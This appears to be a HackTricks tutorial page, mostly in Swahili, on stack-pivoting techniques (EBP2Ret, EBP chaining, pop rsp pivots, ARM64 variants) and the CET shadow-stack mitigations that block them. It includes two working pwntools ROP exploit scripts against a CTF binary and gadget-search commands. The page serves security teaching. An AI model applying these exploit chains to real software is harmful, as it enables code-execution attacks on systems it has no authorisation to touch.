Stack Pivoting - EBP2Ret - EBP chaining

Reading time: 12 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Basic Information

Teknolojia hii inatumia uwezo wa kudhibiti Base Pointer (EBP/RBP) ili kuunganisha utekelezaji wa kazi nyingi kupitia matumizi makini ya frame pointer na mfuatano wa amri leave; ret.

Kumbuka, kwenye x86/x86-64 leave ni sawa na:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86
ret

Na kwa kuwa EBP/RBP iliyohifadhiwa iko kwenye stack kabla ya EIP/RIP iliyohifadhiwa, inawezekana kuidhibiti kwa kudhibiti stack.

Maelezo

  • Katika 64-bit, badilisha EBP→RBP na ESP→RSP. Maana ni sawa.
  • Wasanidi programu wengine huacha kiashiria cha fremu (angalia "EBP huenda isitumike"). Katika kesi hiyo, leave huenda isiwepo na mbinu hii haitafanya kazi.

EBP2Ret

Mbinu hii ni muhimu hasa unapoweza kubadilisha EBP/RBP iliyohifadhiwa lakini huna njia ya moja kwa moja ya kubadilisha EIP/RIP. Inatumia tabia ya epilogue ya kazi.

Ikiwa, wakati wa utekelezaji wa fvuln, unafanikiwa kuingiza EBP bandia kwenye stack inayorejelea eneo katika kumbukumbu ambapo anwani ya shellcode/ROP chain yako iko (plus bytes 8 kwenye amd64 / bytes 4 kwenye x86 kuzingatia pop), unaweza kudhibiti RIP kwa njia isiyo ya moja kwa moja. Kadri kazi inavyorejea, leave inaweka RSP kwenye eneo lililotengenezwa na pop rbp inayofuata inapunguza RSP, ikiifanya iweke kwenye anwani iliyohifadhiwa na mshambuliaji hapo. Kisha ret itatumia anwani hiyo.

Kumbuka jinsi unavyohitaji kujua anwani 2: anwani ambapo ESP/RSP itakwenda, na thamani iliyohifadhiwa kwenye anwani hiyo ambayo ret itatumia.

Ujenzi wa Ulaghai

Kwanza unahitaji kujua anwani ambapo unaweza kuandika data/anwani zisizo na mpangilio. RSP itakuwa inarejelea hapa na itakula ret ya kwanza.

Kisha, unahitaji kuchagua anwani inayotumika na ret ambayo itafanya hamasisho la utekelezaji. Unaweza kutumia:

  • Anwani halali ya ONE_GADGET.
  • Anwani ya system() ikifuatiwa na kurudi sahihi na hoja (kwenye x86: lengo la ret = &system, kisha bytes 4 za takataka, kisha &"/bin/sh").
  • Anwani ya jmp esp; gadget (ret2esp) ikifuatiwa na shellcode ya ndani.
  • Mnyororo wa ROP uliowekwa kwenye kumbukumbu inayoweza kuandikwa.

Kumbuka kwamba kabla ya anwani yoyote kati ya hizi katika eneo lililodhibitiwa, lazima kuwe na nafasi kwa pop ebp/rbp kutoka leave (8B kwenye amd64, 4B kwenye x86). Unaweza kutumia bytes hizi kuweka EBP bandia ya pili na kudumisha udhibiti baada ya wito wa kwanza kurudi.

Ulaghai wa Off-By-One

Kuna toleo linalotumika unapoweza kubadilisha tu byte ya chini zaidi ya EBP/RBP iliyohifadhiwa. Katika kesi hiyo, eneo la kumbukumbu linalohifadhi anwani ya kuruka na ret lazima liwe na bytes tatu/tano za kwanza zinazoshiriki na EBP/RBP ya awali ili kuweza kuhamasisha uandishi wa byte 1. Kawaida byte ya chini (offset 0x00) huongezwa ili kuruka kadri inavyowezekana ndani ya ukurasa wa karibu/eneo lililopangwa.

Pia ni kawaida kutumia RET sled kwenye stack na kuweka mnyororo halisi wa ROP mwishoni ili kuongeza uwezekano kwamba RSP mpya inaelekea ndani ya sled na mnyororo wa mwisho wa ROP unatekelezwa.

EBP Chaining

Kwa kuweka anwani iliyodhibitiwa kwenye slot ya EBP iliyohifadhiwa ya stack na gadget ya leave; ret katika EIP/RIP, inawezekana kuhamasisha ESP/RSP kwenda kwenye anwani inayodhibitiwa na mshambuliaji.

Sasa RSP inadhibitiwa na amri inayofuata ni ret. Weka kwenye kumbukumbu iliyodhibitiwa kitu kama:

  • &(next fake EBP) -> Imewekwa na pop ebp/rbp kutoka leave.
  • &system() -> Inaitwa na ret.
  • &(leave;ret) -> Baada ya system kumalizika, inahamisha RSP kwenda EBP bandia inayofuata na inaendelea.
  • &("/bin/sh") -> Hoja kwa system.

Kwa njia hii inawezekana kuunganisha EBPs bandia kadhaa ili kudhibiti mtiririko wa programu.

Hii ni kama ret2lib, lakini ngumu zaidi na inafaida tu katika hali za ukingo.

Zaidi ya hayo, hapa una mfano wa changamoto inayotumia mbinu hii na stack leak ili kuita kazi ya kushinda. Hii ni payload ya mwisho kutoka kwenye ukurasa:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

nasibu ya amd64: System V ABI inahitaji usawa wa byte 16 kwenye maeneo ya wito. Ikiwa mnyororo wako unaita kazi kama system, ongeza gadget ya usawa (mfano, ret, au sub rsp, 8 ; ret) kabla ya wito ili kudumisha usawa na kuepuka ajali za movaps.

EBP huenda isitumike

Kama ilivyoelezwa katika chapisho hili, ikiwa binary imeandikwa kwa baadhi ya uboreshaji au kwa kutokuwepo kwa frame-pointer, EBP/RBP kamwe haiwezi kudhibiti ESP/RSP. Hivyo, exploit yoyote inayofanya kazi kwa kudhibiti EBP/RBP itashindwa kwa sababu prologue/epilogue hairejeshi kutoka kwa frame pointer.

  • Haijaboreshwa / frame pointer inatumika:
bash
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Imeboreshwa / kiashiria cha fremu hakijajumuishwa:
bash
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

On amd64 utaona mara nyingi pop rbp ; ret badala ya leave ; ret, lakini ikiwa kipimo cha fremu hakijatumika kabisa basi hakuna epilogue ya rbp ya kupita kupitia.

Njia nyingine za kudhibiti RSP

pop rsp gadget

Katika ukurasa huu unaweza kupata mfano wa kutumia mbinu hii. Kwa changamoto hiyo ilihitajika kuita kazi yenye hoja 2 maalum, na kulikuwa na pop rsp gadget na kuna leak kutoka kwenye stack:

python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Angalia mbinu ya ret2esp hapa:

Ret2esp / Ret2reg

Kupata vifaa vya pivot haraka

Tumia kipata vifaa chako unachokipenda kutafuta primitives za pivot za jadi:

  • leave ; ret kwenye kazi au katika maktaba
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (au add esp, <imm> ; ret kwenye x86)

Mifano:

bash
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Classic pivot staging pattern

Mkakati thabiti wa pivot unaotumika katika CTFs/exploits nyingi:

  1. Tumia overflow ndogo ya awali kuita read/recv kwenye eneo kubwa linaloweza kuandikwa (mfano, .bss, heap, au kumbukumbu ya RW iliyopangwa) na weka mnyororo kamili wa ROP hapo.
  2. Rudisha kwenye kifaa cha pivot (leave ; ret, pop rsp, xchg rax, rsp ; ret) ili kuhamasisha RSP kwenda kwenye eneo hilo.
  3. Endelea na mnyororo wa hatua (mfano, leak libc, ita mprotect, kisha read shellcode, kisha ruka kwake).

Modern mitigations that break stack pivoting (CET/Shadow Stack)

CPUs na OS za kisasa za x86 zinaendelea kutumia CET Shadow Stack (SHSTK). Ikiwa SHSTK imewezeshwa, ret inalinganisha anwani ya kurudi kwenye stack ya kawaida na stack ya kivuli iliyolindwa na vifaa; tofauti yoyote inasababisha kosa la Control-Protection na kuua mchakato. Hivyo, mbinu kama EBP2Ret/leave;ret-based pivots zitakufa mara tu ret ya kwanza itakapotekelezwa kutoka kwenye stack iliyopivoted.

  • Kwa maelezo ya nyuma na maelezo ya kina angalia:

CET & Shadow Stack

  • Ukaguzi wa haraka kwenye Linux:
bash
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • Maelezo kwa maabara/CTF:

  • Baadhi ya distros za kisasa zinawezesha SHSTK kwa binaries zenye CET wakati msaada wa vifaa na glibc upo. Kwa majaribio yaliyodhibitiwa katika VMs, SHSTK inaweza kuzuiliwa kwa mfumo mzima kupitia parameter ya boot ya kernel nousershstk, au kuwezeshwa kwa kuchagua kupitia glibc tunables wakati wa kuanzisha (angalia marejeleo). Usizuilie mipango kwenye malengo ya uzalishaji.

  • Mbinu za JOP/COOP au SROP zinaweza bado kuwa na ufanisi kwenye baadhi ya malengo, lakini SHSTK hasa inavunja pivots za ret.

  • Kumbuka kuhusu Windows: Windows 10+ inaonyesha user-mode na Windows 11 inaongeza kernel-mode "Ulinzi wa Stack unaotolewa na Vifaa" uliojengwa kwenye shadow stacks. Mchakato unaofaa CET unazuia stack pivoting/ROP kwenye ret; waendelezaji wanajiandikisha kupitia CETCOMPAT na sera zinazohusiana (angalia rejeleo).

ARM64

Katika ARM64, prologue na epilogues za kazi hazihifadhi na kurejesha register ya SP kwenye stack. Zaidi ya hayo, RET hairejeshi kwenye anwani inayotolewa na SP, bali kwenye anwani ndani ya x30.

Hivyo, kwa kawaida, kwa kutumia tu epilogue hu wezi kudhibiti register ya SP kwa kuandika data fulani ndani ya stack. Na hata kama unafanikiwa kudhibiti SP bado unahitaji njia ya kudhibiti register ya x30.

  • prologue
armasm
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP inashikilia rekodi ya frame
  • epilogue
armasm
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

caution

Njia ya kufanya kitu kinachofanana na stack pivoting katika ARM64 ingekuwa kuwa na uwezo wa kudhibiti SP (kwa kudhibiti register fulani ambayo thamani yake inapitishwa kwa SP au kwa sababu fulani SP inachukua anwani yake kutoka kwenye stack na tuna overflow) na kisha kuabudu epilogue ili kupakia register ya x30 kutoka SP iliyo dhibitiwa na RET kwake.

Pia katika ukurasa ufuatao unaweza kuona sawa na Ret2esp katika ARM64:

Ret2esp / Ret2reg

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks